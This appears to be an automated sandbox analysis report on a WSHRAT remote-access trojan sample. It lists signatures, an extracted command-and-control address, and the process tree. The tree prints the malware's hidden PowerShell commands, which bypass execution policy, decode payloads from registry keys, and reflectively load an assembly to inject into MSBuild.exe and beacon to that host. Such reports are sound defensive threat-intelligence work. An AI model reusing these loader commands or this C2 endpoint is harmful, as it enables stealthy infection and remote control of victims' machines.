Analysis
- max time kernel
148s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
15/05/2024, 02:49
General
- Target cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
- Size 616KB
- Sample240515-da66ssdg2x
- SHA256 cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc
Malware Config
Extracted
-
wshrat
-
http://masterokrwh.duckdns.org:8426
Signatures
- WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
- Blocklisted process makes network request 34 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 30 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'masterokrwh.duckdns.org 8426 \"WSHRAT|DCD44786|RHATQEDQ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom\" 1'));"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exepath masterokrwh.duckdns.org 8426 "WSHRAT|DCD44786|RHATQEDQ|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom" 13⤵
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_5r2i5tgn.ebx.ps1
cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
memory/1380-54-0x0000000005770000-0x0000000005802000-memory.dmp
memory/1380-51-0x0000000000400000-0x000000000040E000-memory.dmp
memory/1380-53-0x0000000005C80000-0x0000000006224000-memory.dmp
memory/1380-55-0x0000000005810000-0x00000000058AC000-memory.dmp
memory/1380-58-0x00000000056E0000-0x00000000056EA000-memory.dmp
memory/4920-27-0x00007FFA20DE0000-0x00007FFA218A1000-memory.dmp
memory/4920-24-0x00007FFA20DE0000-0x00007FFA218A1000-memory.dmp
memory/4920-23-0x00007FFA20DE0000-0x00007FFA218A1000-memory.dmp
memory/4920-12-0x00007FFA20DE3000-0x00007FFA20DE5000-memory.dmp
memory/4920-22-0x000002B07F400000-0x000002B07F422000-memory.dmp
memory/5004-50-0x0000017DF4CA0000-0x0000017DF4CAA000-memory.dmp